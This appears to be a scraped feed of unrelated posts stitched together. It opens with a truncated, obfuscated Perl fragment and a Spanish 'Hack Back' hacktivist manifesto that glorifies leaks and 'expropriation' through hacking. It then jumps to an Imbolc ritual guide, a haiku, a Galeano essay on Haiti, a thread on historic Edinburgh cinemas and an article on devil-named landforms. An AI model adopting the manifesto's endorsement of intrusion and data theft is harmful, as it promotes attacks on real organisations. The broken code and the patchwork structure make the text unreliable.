.('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'"). '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).( '['^'(').('`'|',').'-'.('`'|'%').('['^('(')). '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\' .'\\'.('`'|'.').'|'.('`'|"'").';'. '\\$:=~'.('['^'(').'/<.*?>//' .('`'|"'").';'.('['^'+').('['^ ')').('`'|')').('`'|'.').(('[')^ '/').('{'^'[').'\\$:=~/('.(('{')^ '(').('`'^'%').('{'^'#').('{'^'/') .('`'^'!').'.*?'.('`'^'-').('`'|'%') .('['^'#').("\`"| ')').('`'|'#').( '`'|'!').('`'| '.').('`'|'/') .'..)/'.('[' ^'(').'"})') ;$:="\."^ '~';$~='@' |'(';$^= ')'^'['; $/='`' |'.'; $,= '(' EOF Nosotras nacimos de la noche. en ella vivimos, hackeamos en ella. Aquí estamos, somos la dignidad rebelde, el corazón olvidado de la Интернет. Nuestra lucha es por la memoria y la justicia, y el mal gobierno se llena de criminales y asesinos. Nuestra lucha es por un trabajo justo y digno, y el mal gobierno y las corporaciones compran y venden zero days. Para todas el mañana. Para nosotras la alegre rebeldía de las filtraciones y la expropiación. Para todas todo. Para nosotras nada. Desde las montañas del Sureste Cibernético, _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)También en:- @danicotillas@comunicacionabierta.net/112237720177779394" rel="syndication"> indieweb
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Imbolc 2025
Celebrating Imbolc 2025: A Festival of Light and Renewal
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Imbolc is a cherished festival with deep roots in ancient traditions. It marks the halfway point between the winter solstice and the spring equinox. Celebrated on February 1st or 2nd, Imbolc heralds the arrival of spring and symbolizes the return of light after the long, dark winter months. In 2025, Imbolc will be celebrated on February 1st.
Historical Significance
Imbolc comes from the Old Irish word “imbolg,” meaning “in the belly.” This signifies when ewes start to lactate and heralds the start of the agricultural year. This festival is often linked to Brigid. She is the goddess of fertility, healing, and poetry. Brigid embodies the themes of fire and light. As the days grow longer, Imbolc reminds us of the impending renewal of life. It also signals the awakening of the earth.
Rituals and Traditions
Imbolc is rich with rituals and activities that honor the returning light and the goddess Brigid. Here are some common practices:
- **Lighting Candles**: To symbolize the increasing light, it’s customary to light candles or a bonfire. This act serves as a way to invite warmth and illumination into your home.
- **Brigid’s Cross**: Crafting a Brigid’s Cross from rushes or straw is a traditional practice. This cross is hung in the home for protection and blessings.
- **Purification Rituals**: Many celebrate Imbolc by performing purification rituals, such as cleansing their homes with sage or water, symbolizing the removal of negativity and welcoming new energy.
- **Feasting**: Preparing and sharing a special feast with seasonal foods, such as dairy products, grains, and root vegetables, is a way to honor the earth and its gifts.
- **Brigid’s Bed**: Some create a special place for Brigid, often a bed adorned with white cloth and flowers, symbolizing her presence and blessings in the household.
- **Nature Walks**: As the first signs of spring begin to appear, a nature walk can be a beautiful way to connect with the earth and observe the emerging life.
Correspondences
Understanding the correspondences associated with Imbolc can enhance your celebration. Here are some key elements to consider:
- **Elements**: Fire and Water. Fire symbolizes inspiration and purification, while water represents the renewal of life.
- **Colors**: White, red, and green. These colors represent purity, fertility, and the budding earth.
- **Herbs and Plants**: Snowdrops, crocuses, and other early-blooming flowers are associated with Imbolc. Herbs like rosemary, mint, and thyme can also be used in rituals.
- **Stones**: Clear quartz, amethyst, and garnet are stones that resonate with the energy of Imbolc, promoting clarity and protection.
Conclusion
Imbolc is a beautiful celebration of light, renewal, and the promise of spring. As we gather to honor traditions, perform rituals, and connect with nature, we invite the warmth and growth of the coming season into our lives. Whether you choose to light candles, craft a Brigid’s Cross, or simply enjoy a feast with loved ones, Imbolc is a time to reflect on the light within and the potential that lies ahead in the year to come. Embrace this magical festival, and let the spirit of Imbolc inspire you!
🌛⭐️🌜
Imbolc Ritual for 2025
**Preparation:**
1. **Set the Space:** Choose a quiet space where you can perform the ritual. Cleanse the area by burning sage or sprinkling salt water.
2. **Gather Supplies:**
- A candle (preferably white or yellow)
- A small bowl of water
- A representation of Brigid (such as a statue, picture, or a handmade Brigid’s cross)
- Flowers or greenery (like snowdrops or willow branches)
- Incense (optional)
- A journal and pen
🌟
**Ritual Steps:**
1. **Create an Altar:**
- Place the candle in the center of your altar.
- Surround it with the flowers or greenery.
- Position the representation of Brigid and the bowl of water nearby.
2. **Light the Candle:**
- As you light the candle, say a few words of intention, such as:
“As the light returns, so does hope and renewal. I honor Brigid and invite her blessings into my life.”
3. **Invoke Brigid:**
- Take a moment to meditate on Brigid’s qualities: healing, poetry, and the forge. You may choose to recite a prayer or poem dedicated to her.
4. **Water Blessing:**
- Dip your fingers into the bowl of water and sprinkle a few drops around your space, symbolizing purification and new beginnings. You can say:
“With this water, I welcome renewal and clarity into my life.”
5. **Set Intentions:**
- Write down your intentions or goals for the upcoming season in your journal. Focus on what you want to nurture and bring to fruition.
– Once you’ve written them down, hold the paper over the candle flame (safely) to symbolize releasing your intentions into the universe.
6. **Closing:**
- Thank Brigid for her presence and guidance. Extinguish the candle, knowing that the light continues to grow as the days lengthen.
- If you like, you can keep the candle as a focus for your intentions throughout the season.
7. **Feasting:**
- Celebrate with a small meal or snack that includes dairy (symbolizing the lactating ewes), bread, and seasonal vegetables.
This ritual can be adjusted to fit your personal beliefs and practices. Enjoy the warmth and renewal that Imbolc brings!
#Bonfires #BookOfShadows #CandleMagick #Celebrations #Correspondence #Elements #Imbolc #Magic #Magick #Pagan #Ritual #Sabbats
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@dailyhaikuprompt #dailyhaikuprompt #springwater
From deep underground,
Earth warmed salts coalescing,
Old soaked bones relax. -
Haiti's Curse: Black or White? French and Gringo?
On the first day of his year[2004], freedom in this world turned 200. But no one noticed, or almost no one. A few days later, the country where this birth occurred, Haiti, found itself in the media spotlight, not for the anniversary of universal freedom but for the ouster of President Aristide.
Haiti was the first country to abolish slavery. However, the most widely read encyclopedias and almost all educational textbooks attribute this honorable deed to England. It is true that one fine day the empire that had been the champion in the slave trade changed its mind about it. But abolition in Britain took place in 1807, three years after the Haitian revolution, and it was so unconvincing that in 1832 Britain had to ban slavery again.
There is nothing new about this slight of Haiti. For two centuries it has suffered scorn and punishment. Thomas Jefferson, a slave owner and champion of liberty at the same time, warned that Haiti had created a bad example and argued it was necessary to "confine the plague to the island." His country heeded him. It was sixty years before the U.S. granted diplomatic recognition to this freest of nations. Meanwhile in Brazil disorder and violence came to be called "Haitianism." Slave owners there were saved from this fury until 1888 when Brazil abolished slavery-the last country in the world to do so.
...To reinstate slavery in Haiti, France sent more than fifty shiploads of soldiers. The country's blacks rose up and defeated France and won national independence and freedom for the slaves. In 1804, they inherited a land that had been razed to grow sugarcane and a land consumed by the conflagrations of a fierce civil war. And they inherited "the French debt." France made Haiti pay dearly for the humiliation it inflicted on Napoleon Bonaparte. The newly born nation had to commit to pay a gigantic indemnification for the damage it had caused in winning its freedom. This expiation of the sin of freedom would cost Haiti 150 million gold francs.
The new country was born with a rope wrapped tightly around its neck: the equivalent of $21.7 billion in today's dollars, or forty-four times Haiti's current yearly budget.
In exchange for this fortune, France officially recognized the new nation. No other countries did so. Haiti was born condemned to solitude.
Not even Simon Bolivar recognized Haiti, though he owed it everything. In 1816, it was Haiti that furnished Bolivar with boats, arms, and soldiers when he showed up on the island defeated and asking for shelter and help.
Haiti gave him everything with only one condition: that he free the slaves-an idea that had not occurred to him until then. The great man triumphed in his war of independence and showed his gratitude by sending a sword as a gift to Port-au-Prince. Of recognition he made no mention.
In 1915, the Marines landed in Haiti. They stayed nineteen years. The first thing they did was occupy the customs house and . duty collection facilities. The occupying army suspended the salary of the Haitian president until he agreed to sign off on the liquidation of the Bank of the Nation, which became a branch of City Bank of New York. The president and other blacks were barred entry into the private hotels, restaurants, and clubs of the foreign occupying power. The occupiers didn't dare reestablish slavery, but they did impose forced labor for the building of public works. And they killed a lot of people. It wasn't easy to quell the fires of resistance.
...Aristide, the rebel priest, became president in 1991. He lasted a few months before the U.S. government helped to oust him, brought him to the United States, subjected him to Washington's treatment, and then sent him back a few years later, in the arms of Marines, to resume his post. Then once again, in 2004, the U.S. helped to remove him from power, and yet again there was killing. And yet again the Marines came back, as they always seem to, like the flu.
But the international experts are far more destructive than invading troops. Placed under strict orders from the World Bank and the International Monetary Fund, Haiti obeyed every instruction, without cheating. The government paid what it was told to even if it meant there would be neither bread nor salt. Its credit was frozen despite the fact that the state had been dismantled and the subsidies and tariffs that had protected national production had been eliminated. Rice farmers, once the majority, soon became beggars or boat people. Many have ended in the depths of the Caribbean, and more are following them to the bottom, only these shipwreck victims aren't Cuban so their plight never makes the papers.
Today Haiti imports its rice from the United States, where international experts, who are rather distracted people, forgot to prohibit tariffs and subsidies to protect national production.
On the border between Haiti and the Dominican Republic, there is a large sign that reads: Road to Ruin.
Down that road, everyone is a sculptor. Haitians have the habit of collecting tin cans and scrap metal that they cut and shape and hammer with old-world mastery, creating marvels that are sold in the street markets.
Haiti is a country that has been thrown away, as an eternal punishment of its dignity. There it lies, like scrap metal. It awaits the hands of its people.- https://thirdworldtraveler.com/Haiti/White_Curse.html
#HaitisCurse #CursedHaiti #EduardoGaleano #HaitiHistory #Aristide
#^The White Curse [Haiti] by Eduardo Galeano - https://thirdworldtraveler.com/Haiti/White_Curse.html
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The thread about some of Edinburgh, Leith and Portobello’s old cinemas and how they fit into the modern streetscape
This thread was originally written and published in August 2018.
Edinburgh and Leith were once full of cinemas, and speak to anyone of a certain generation and they will go a bit misty eyed telling you about their picture house, and which ones were “fleapits“. This thread thread takes a whistlestop tour of some old photos of old cinemas, overlaid against the modern street scene to help listeners of a younger generation appreciate how they relate to our world now.
At Abbeymount, The Regent cinema which was open 1927-1970. The façade was converted from the Palace Brewery buildings which were its predecessor on the site. The plot is now occupied by one of the ubiquitous PBSA (Purpose-Built Student Accommodation) blocks. Named after the Regent Road and Bridge up the hill, the bar at the top of Abbeymount is also called The Regent.
The RegentAs the above picture of The Regent seemed to be popular, I did another cinema. Here’s the Ritz on Rodney Street, which was open 1929 – 1981 by which time it was known as an ABC. It was one of the first cinemas in town opened purely for the new fangled talkies. The building was demolished in 1983.
The RitzThe Tudor was perhaps one of Edinburgh’s weirdest looking cinema? Actually known as The Palace and then St. Bernard’s, it was the Savoy for most of its operational life, until 1960. Located on St. Bernard’s Row, just off of Raeburn Place in Stockbridge. It opened in 1911, was closed in 1966 and the building demolished in 1982.
The TudorPoole’s Synod Hall on Castle Terrace. The ecclesiastical name came from its roots as the United Presbyterian Church’s Synod Hall, although in a nice 360° turn of events it was actually built as an entertainment venue called The New Edinburgh Theatre. When that venture failed, almost ruining one of its principal backers, the eminent local architect, businessman and politician Sir James Gowans, the U.P. Church stepped in. It ceased to be required by them after they merged with the Free Church in 1900 to form the United Free Church, at which point the Town Council took it over and sublet it for various purposes. One of the lets was the Poole family of travelling entertainers who increasingly turned the venue over to early cinema shows, including one of the first showings of a talkie in the city in 1926. However the building remained in the ownership of the city who eventually desired an opera house and had it demolished in 1966; coincidentally the same year that they allowed Sir James Gowans’ masterpiece, his villa of Rockville in Merchiston to also be demolished. The city fell out with its business partner for the opera house scheme and nothing came of it. The plot lay vacant for about 30 years until eventually being by an office block called Saltire House.
Poole’s SynodA much less well known establishment was the Blue Halls on Lauriston Street. This was converted from the West Port Livestock Market in 1930 as a talkies venue and had 1,780 seats. Renamed the Beverley in 1954 and closed in 1959. The cinema was demolished soon after and the plot lay vacant until the whole block was cleared around 1971 and replaced by a brutalist office block for the Post Office called West Port House. It was vacated in 1997 and met the same fate as the cinema ten years thereafter, being demolished and replaced by another new office block.
The Blue HallsIf you’ve ever wondered where the Alhambra Bar on Leith Walk took it’s name from then meet The Alhambra Theatre. Opened in 1914 as a variety hall, it functioned as a full cinema from 1915 to 1958 becoming yet another victim of the rise of home television and an Entertainment Tax that made many already marginal venues unprofitable. It lay vacant for sixteen years after closure and was not demolished until 1974, to make way for a garage. It is now the site of a Majestic wine store but you can still enjoy a pre or post theatre libation over the road in the Alhambra, you just have to go elsewhere for the show.
The AlhambraThe Embassy on Boswall Parkway, East Pilton was opened in 1937 as a “super cinema” to serve an otherwise cinema-less large area of new housing estates. It was a common failure of Edinburgh’s interwar, peripheral housing schemes that a large concentration of new housing was erected on greenfield sites far from the trappings of life like shops and pubs; and cinemas! This was a bit of a downer to life in what was otherwise good quality housing that was a huge improvement on the inner-city slums that they were built to replace. The Embassy closed in 1964 after a fire but requests to run it as either a dance hall or bingo hall were declined and it was demolished in 1975. It is now the site of a modern housing block.
The EmbassyThe County on Wauchope Avenue in Craigmillar, which was a Bingo hall by the time this photo was taken in 1970. Its predecessor, the Rio had opened in 1936 but had been largely gutted by a fire on October 11th 1946. When it re-opened in 1950 its proprietors also ran the County in Portobello and so it took on that name too. It closed again some thirteen years later and was turned over to Bingo, a common fate for cinemas. It was similar to The Embassy in that it arrived in a peripheral housing scheme that had precious little in the way of entertainment venues (it did not get a pub, The White House, until 1936). In the image below it is imposed on a 2008 image of the remains of the by then decrepit housing estate, and it in turn is too overlaid on what was still a vacant plot in 2018. The area is almost unrecognisable now, covered in new housing and a large Lidl supermarket.
The CountyPoole’s Roxy at the western end of Gorgie Road was opened by the same family who ran the Synod Hall in 1937 as a 2,000 seater super-cinema. It served both the established tenement community of Gorgie as well as newer housing schemes built in the district at Chesser, Stevenson, Hutchison, Stenhouse and Whitson. A Mickey Mouse Club was a particular draw to this establishment. It closed as a cinema in 1963, and after a brief attempt to run it as a joint Cine-bingo establishment, it spent the next 40-odd years serving only Bingo to patrons; 14 years longer than it was a cinema. The auditorium is now gone and replaced with flats, but the façade has been retained and the ground floor is now a giant ice cream parlour.
Poole’s RoxyThe Palace on Princes Street was opened in 1913 and was a high-class establishment in the Georgian classical style befitting its surroundings, with a sumptuous interior, the Wedgewood Cafe and smoking rooms. It was slightly slow to catch up with the competition and was only converted for talkies in late 1930. Its closure came before its time, in 1955, when the neighbouring Woolworths store bought the building to expand into from next door.
The PalaceThe Rutland, which once stood at the foot of Dewar Place on Canning Street, opened in 1930 and was one of Edinburgh’s largest cinemas, with seats for 2,200. Known for its “mighty unit” organ and an elaborately painted interior that included two thousand coloured lightbulbs. It closed for two days in 1950 before reopening as the Gaumont, part of the J. Arthur Rank chain. It closed after a devastating fire in 1963 and was demolished three years later It is now the site of an office block.
The RutlandThe Salon was an altogether smaller 800 seater on Baxter’s Place at the very top of Leith Walk. It opened in 1913 with an Arabian Nights theme; males staff dressed in turbans and females as dancers. As a result it was quickly nicknamed “the Harem“. It had a reputation for being rather seedy and run-down, but survived far longer than grander and more mainsteam venues by specialising in westerns. It closed in 1974 and the auditorium was demolished but the façade hung on (just) for another 40 years before being demolished in connection with the redevelopment of the listed block behind it of Baxter’s Place as a hotel.
The SalonNo, not that old cinema on Bath Street in Portobello – by which I mean the George or County whose dilapidated Streamline Moderne shell is just still hanging on to life – I mean the other one. The Bungalow Electric Theatre was converted from a roller-skating rink in 1913 to show “animated pictures“. It was given a patriotic wartime renaming in 1942 as the Victory. It closed in 1956 and was used as a storage unit. Its remains were demolished in 2005, with a new block of flats built on the plot in 2017.
The VictoryThe entrance to Edinburgh Marine Gardens, a vast Edwardian amusement park, lies exactly where the entrance to Lothian Buses’ Marine Garage now is. The park was a permanent home for the structures of the 1908 Scottish National Exhibition at Saughton Park and included a variety of entertainments, including a cinema and dance hall. One of the early attractions was aviation, with the first flight across the Firth of Forth starting and ending here. During WW2, the shell of the ballroom was converted into a factory for building amphibious landing craft.
Marine Gardens #Cinemas #Edinburgh #Entertainment #October11 #Portobello -
http://foritismansnumber.blogspot.com/2023/04/see-how-they-run-2022.html
Telling you now - a sequel utilising Arsenic & Old Lace would be amazing.
#TomGeorge #MarkChappell #TheMousetrap #SamRockwell #SaoirseRonan #movies #film #cinema #cinemastodon #filmastodon #mastomovies #blog #blogger #review #MovieReview #SeeHowTheyRun
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Devil Places
There are countless places in the world named after the Devil (and variations of an evil one in other words and languages). If variations are added such as “Satan,” “Lucifer,” and “Diablo,” for example, the list is massive. Devil places sometimes owe their names to the geology. The features of these places may create a spooky and foreboding feeling that reinforces the local legends of the places being cursed, evil or enchanted.
These places have historically or very recently been associated with spirits, magic, strange phenomenon and/or death. In the U.S., many sacred places of indigenous peoples were renamed by the more puritanical sort as “devil” places in order to demonize the past (and previous spiritual beliefs). Devil places are particularly ubiquitous in New England, where the Puritans started their renaming. The rocky landscape gave them plenty of impetus. They truly believed Satan was about, ready to steal their souls. They considered Indian deities to be demons or devils. Spots where shamans would gather or practice might have been a place of geological uniqueness and were given a bad name by the newcomers.
Connecticut might be nicknamed the devil’s playground with some 34 place names including five Devil’s Dens, four Backbones, two Kitchens and a Dripping Pan, as well as a Hell Hole and two Satan’s Kingdoms. Massachusetts is the most devilish state, with 43 place names. Arizona is chock full of “devil” and “hell” names due to the hellishly hot weather suitable for demons.
Satan’s Kingdom
Legends say that Satan himself claimed the area now called Satan’s Kingdom in New Hartford, Connecticut as his own until the angel Gabriel decided the area was too idyllic and cleared out the dark lord and his band of demons. In Vermont, Satans Kingdom got its name supposedly because the settlers who expected fertile land got difficult rocks and hills instead. In Massachusetts, settlers came into the area in the 1670’s during King Philip’s War, where native villagers defended their land. The rough terrain and dangerous wildlife made it difficult for the settler-colonialists to conquer.
The Northern Cascades National park in Washington is very much a hellscape. The Backpacker.com site says of a hiking trail there: “The devil looms large on this rugged loop—you’ll pass Devils Creek, Pass, Park, Junction, and Dome—and you may curse like Satan during the initial 3,300-foot, 4-mile climb to McMillan Park”.
As you will see in this collection of Devilish places, they commonly are places of remarkable features, desolation, or treacherous traversing.
In 2013, Jonathan Hull did a map of US places with Devil-related names. Though many locations received their names from attributes other than geologically related ones, he noted that Devil-named areas often indicated a dangerous, extreme, or remote place. Sadly, I can’t find the full-scale map online anymore.
This is the best version I could find of Hull’s map.While my collection is woefully incomplete, I did pick some notable Devil-named locations with geological connections. Several of these warrant their own pages on the site. Click on the titles to head to these pages:
Devil’s Tower
An iconic volcanic feature in the Black Hills of Wyoming was known as being the location in the culminating scene in Close Encounters of the Third Kind. It has become a draw for not only sci-fi enthusiasts but also UFO chasers and New Age believers.Devil’s Den
To gain this place name, the location usually has stark, huge rock boulders or outcrops, often with caves and crevasses. Several famous locations exist in the U.S. where not only supposedly spirits but also people used as hiding places.Devil’s Hole
A depression or cave often containing water that has gained a reputation of being deadly, a path to the underworld, or bottomless. (Or all three together). The most famous being the Devil’s Hole of Death Valley, a bizarre oasis in the desert.Devil’s Kitchen
Scenic locations characterized by their impressive geological features that suggest something evil is cooking.Devil’s Gate
A cleft or gorge that is considered a dangerous area for natural or supernatural reasons.Devil’s Punchbowl
Bowl-shaped depressions of various sizes that stand out from the landscape and may look as if they have been deliberately created for or from a nefarious action.Some lesser known locations with ‘Devil’ names are just as curious. Their oddness prompted locals to bestow upon them an accursed name.
Devils Head Rock, North CarolinaThree locations in Pennsylvania have the name Devil’s Potato Patch to designate boulder fields. One is between Danielsville and Little Gap in Northampton County, just west of the Blue Mtn ski area off the Appalachian Trail. This is an otherwise featureless field of sandstone blocks resulting from frost action that broke up the ridge-forming rock. It is on State Game Lands and, like other boulder fields, is treacherous to traverse and home to sunning snakes. Another Patch is located on the border of Lebanon and Lancaster County near Brickerville. This “river” of diabase boulders is a wooded and graffiti-strewn, neglected and full of various hazards like trash, bottles, and poison ivy. The third is in Salford Township, Montgomery County, where the boulders of diabase will ring when hammered.
Another “Tater Patch” is a windy ridge with spooky twisted trees in the Great Smoky Mountains National Park of Tennessee/ N. Carolina.
Similar to these rocky landscapes is the Devil’s Marbleyard of the James River Face Wilderness, in the Blue Ridge Mountains at Natural Bridge Station, Virginia. The Virginia Trail Guide describes it thusly:
“…looks like an immense stone mountain exploded and collapsed into thousands of boulders of every shape and size.”
Australia also has the Devil’s Marbles, a scattered array of large granite boulders in a 4500-acre area of the Northern Territory which was the traditional land of the Warumungu, Kaytetye, Alyawarra and Warlpiri people. They call it “Karlu Karlu”. The rocks are set precariously and have been chemically and physically weathered into rounded shapes. One legend says the natives thought these were the eggs of the rainbow serpent. But the official management plan for the reserve explains the traditional origin:
The whole area of the reserve is known as Ayleparrarntenhe, which is also the name of the place of origin and final resting place of Arrange, the Devil Man—a twin-peaked hill to the east of the reserve. Traditional Owners tell the story of how the Marbles came into being:
Arrange, the Devil Man, came from Ayleparrarntenhe and travelled through the area. During his journey, he was making a hair belt (as worn by initiated men). Twirling the hair into strings, Arrange dropped clusters of hair on the ground. These turned into the Karlu Karlu boulders that can be seen today. On his way back, Arrange spat on the ground. His spit also turned into the granite boulders which dot the central part of the reserve. Arrange finally returned to his place of origin, Ayleparrarntenhe.
Removal or desecration (even climbing) of the rocks and smaller rocks of nearby Devil’s Pebbles (Kunjarra) is said to bring bad luck to the tribes.
Several rocky areas are also called Devil’s Garden with unique vegetation or none at all. The Devil’s Garden portion of Arches National Park in Moab, Utah features “arches, spires, and a large concentration of narrow rock walls called “fins”. The fins are the result of erosion along parallel fractures.
Devil’s Garden, UtahA section of the High Lava Plains of central Oregon is a kipuka (an area isolated by surrounding lava flows) also known by this name. It was formed from fissure eruptions of basalt.
The Devil’s Playground is not your typical place of joy and laughter, but a grouping of granitic rock features weathered into fantastic forms and eerie shapes. A Tertiary-age (approximately 38 million years old) granitic intrusion overlying Paleozoic (400 to 300 million years old) sedimentary rocks is known as the Emigrant Pass pluton.
Devils Playground, UtahThe deadly Devil’s Playground in the Mohave Desert of California was the nickname pinned on a 17-mile stretch of drifting sand that had neither a track to follow nor water to drink.
In Tennessee, near vertical bedding produces huge rock formations that look like fins (or teeth) protrude from the Southwest flank of Cumberland Mountain known as the Devil’s Racetrack. Hikers and climbers must watch for falls from these rocks.
The Devil’s Race Course is a boulder field in Dauphin County, PA. Rock outcrops along the ridges provided the now rounded boulders. Stream flow from Rattling Run has washed away all the finer sediment. Sometimes the stream can be heard under river of rock. Legend has it that the area’s early settlers believed the sound of the water was the devil running through the depths of hell.
Devil’s Racecourse, PAThe term Devil’s Elbow often refers to an obvious and problematic bend in a river or a road. Most notably, in Pulaski County, Missouri, a sharp turn in the river has this unlucky name. Switchback bends along a hillside are constructed to navigate a steep slope. One such tight curve along a road bordering a rock cliff in New York has an associated legend of the vanishing hitchhiker. The road was eventually straightened to avoid mishaps.
The Devil’s Windpipe is a natural chute in the rocks in Arizona. When the wind blows across the hot landscape, it’s said it feels like the breathing of the devil himself. The Devil’s Throat is a remarkable cave in Bulgaria that swallows the Trigrad River where it funnels through the Hall of Thunder. This cave in the Rhodope Mountains is associated with the legend of Orpheus descending into the underworld to look for Eurydice. There is also a large sinkhole called the Devil’s Throat near Lake Mead in Nevada.
Multiple features exist with the name Devil’s Backbone which typically indicates a prominent ridge of rock that looks like a spine or teeth. Iowa has a state park characterized by a narrow and steep ridge of bedrock carved by a loop of the Maquoketa River. The towers, columns and rocky cliffs make for precipitous climbing. Maryland also has a park where a rock ridge 512 feet above sea level was formed by erosion at the confluence of the Antietam and Beaver Creek and is a noted scenic area. A narrow jutting of rock from a ridge forms a distinct “backbone” across the landscape west of Loveland, Colorado. A particularly striking vertical wall of dark andesite about 1,000 feet long exists within the volcanic crater of Crater Lake, Oregon. The dike was formed when molten lava filled cracks as it forced its way upwards and then solidified. Erosion of the surrounding material has left the resistant material standing. The Illinois “Backbone” is a rocky landmark on a ridge in the Grand Tower area. The rapids near here were supposedly very dangerous and native legends evil spirits were responsible. Nearby is the Devil’s Bake Oven – a nearly 100’ rock on the edge of the river where folklorists have documented ghostly visions and sounds.
Devil’s Backbone, Loveland CO.About 80,000 to 100,000 years ago in eastern California, basaltic lava gushed from fissures and formed a lake within a glacial-formed valley some 400 feet deep. The lava cooled slowly, forming the hexagonal columnar structure that is so striking (also present in Devil’s Tower and Giant’s Causeway), resembling a pile of posts. Thus, it’s called the Devils Postpile. Glaciers smoothed and scarred the top of the formation. Devils Postpile (no apostrophe – which is the case with most official U.S. “devil” monuments) is now a national monument. A Little Devils Postpile exists in Yosemite.
Devils Postpile National MonumentDevils Lake in Wisconsin, part of a state park, is situated in a deep chasm formed by glacial action. It has no visible inlet or outlet. The lake was originally called “Sacred Lake” or “Spirit Lake” by the natives who considered it sacred where voices of the spirits could be heard. Glacial striations mark the rock surfaces around the lake and there are Native effigy mounds nearby. The lake has spooky legends of a phantom canoer, and lake monster, and some stories say the natives considered it a “place of many dead”.
A similar lake exists in North Dakota, also in a closed basin and also renamed from the Natives’ interpretation of “Spirit Lake”. This lake has been plagued with flooding problems.
Seven Devils Lake is a small reservoir in South Arkansas, located about 14 miles (23 km) out of Monticello. The Lake is formed by Seven Devils Dam. The area got its name from a man who was trapped in the area for days and finally made it out. A reporter asked if he found the rumored seven lakes of the area, but the man stated that there were not seven lakes, but seven devils. This area is the most northern point west of the Mississippi River where American alligators can be found.
Many bare mountain summits are named for their stark barrenness. Several rocky scenic outlooks called Devil’s Knobs are recognized around the world. There are many places called Devil’s Peak often referring to an imposing, rocky mount. Such peaks are in Cape Town in South Africa, Hong Kong, Flanders Range in Australia, Soda Springs, California, Santa Barbara, California, and in Nevada. A location in Baja, California has the Spanish name Picacho del Diablo and is also known as the Cerro de la Encantada or “Hill of the Enchanted”. It is a ragged granite summit that makes for a popular but challenging climb.
Mount Diablo in Contra Costa, California is awash with legends and has a reputation as a strange place. Now a state park, it was historically an important landmark for mapping and navigation because of its visibility and location. It is a geological anomaly, part of a thrust fault complex, growing higher every year due to compression of tectonic plates. Native tribes have various legends about it included the mountain as a point of creation. A notable legend of how the mountain got its name was from a misinterpretation of “Monte del Diablo” meaning “thicket of the devil” after several Natives escaped from the Spanish in 1805 into a nearby thicket. Not long after, the name was interpreted to mean a place of evil spirits. It’s not clear if this name was derived from a genuine tradition of spooky happenings in the area and there have been several attempts to rename the mountain to shake off the diabolical reputation. Author Loren Coleman writes that many unusual incidents have occurred in the Mount Diablo area, appropriate for its reputation, including sightings of black panthers (a difficult-to-explain animal that is reported all too regularly), mysterious lights, apparitions and even a claim of a live frog found in a stony concretion.
West Face of Mount Diablo and Highway 24. By Trurl66 – Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=5526277So-called Devil’s bathtubs are deep spots in a creek popular with visitors looking to cool off. In Hocking Hills State Park, Ohio, water falls from rock ledges into the stream where the water swirls into a bowl-shaped gorge. People told stories of this being as deep as hell. The pockets and tunnels were formed from scouring glacial meltwaters thousands of years ago.
In Scott County, Virginia, the Bathtub is a scour pool in the Devil’s Fork of Stony Creek. It’s not the easiest spot to get to and the water is far from hot. Many photos of the location have circulated on social media but these seem to be from the Ohio location, or from some other feature entirely, leading many to be disappointed when they reach this particular tub. The overabundance of visitors prompted by social media has caused local problems and threaten the natural area. The South Dakota version of the devil’s tub is much more secluded. With high rocky cliffs nearby, the water cascades in a chute called “the slide” and swirls into the tub.
According to Wikipedia, there are no less than 105 different locations of the Devil’s Canyon in the United States alone including Utah, Oklahoma, and California. Areas with this designation are typically steep, remote, and have plentiful snakes as residents. In Lincoln National Forest, New Mexico, Devil’s Canyon, so far as anyone knows, is so named because of the pinnacles – needles and balanced rocks that form the canyon walls and resemble distorted human forms. A 2017 TV show called “Devil’s Canyon” is based in British Columbia. It is the story of three gold prospectors seeking treasure in the canyon where they believe large deposits have escaped exploitation by big mining companies. But the rough, isolated terrain, bad weather, and wild animals make it an unforgiving location to explore.
A rock formation where the lower strata is more eroded and weathered leaving a larger slab perched precipitously on top are called “tea tables”. Such formations are a variety of hoodoo. Notable examples of Devil’s Tea Tables exist in Athens County, Ohio and in Illinois’ Shawnee National Forest. These features appear to lean in every direction, so whatever side you view it from, it looks like it will fall on you. A tea table feature in McConnelsville, Ohio collapsed in 1906. Explorers who came across the gravity-defying features often attributed their origin to supernatural forces.
Devils Tea Table, McConnelsvilleNot necessarily natural are the standing stones in North Yorkshire, England, called Devils Arrows. Legend has it that the Devil himself threw the stones into the ground as arrows to attack Christians in Aldborough but they fell short. The prehistoric monuments likely were constructed as part of a ritual landscape. Similarly, the Devil’s Quoits in Stanton Harcourt are also part of a Neolithic-age stone circle. The legend here is “the Devil once played quoits (a game) with a beggar for his soul or, alternatively, that it was a Sunday and God rebuked him whereby he flung the stones in anger. Many stone circles and henges in the UK remain imbued with New Age and mystical significance.
The most famous Devil’s Gulch, in Garretson, South Dakota, is rife with legends. This 18-20 foot chasm across blocks of quartzite is said to have obtained its name from strange noises made by the winds as they blow through. Split Rock Creek below is associated with a “bottomless pit” in the stream bed. (If it’s bottomless, how does the stream flow over it?) A Native tale tells a different origin story. They called it “Spirit Canyon” and that it was formed when two warriors fought. When the spirit warrior’s tomahawk hit the ground, it split the land forming the gulch. But the most famous legend, now marked on the spot, is that outlaw Jesse James made a getaway by leaping the gap on his horse. The location is now a park and also has Devil’s Falls and the Devil’s Stairway nearby.
When Satan needs a rest, he chooses Devils Throne, a summit in Idaho County, Idaho. It forms part of the Seven Devils Mountains. Or the Devil’s Chair in San Gabriel Mountains is part of the Devil’s Punchbowl.
What is really haunting the Devil’s Swamp in Scotlandville, Louisiana are nasty chemicals that have been poured into it, destroying the ecosystem over the years leaving ghosts of those animals (and people) dead from pollution. Beware when visiting this toxic stew. The Seven Devils Swamp natural area in Arkansas, however, is a healthy and diverse ecosystem.
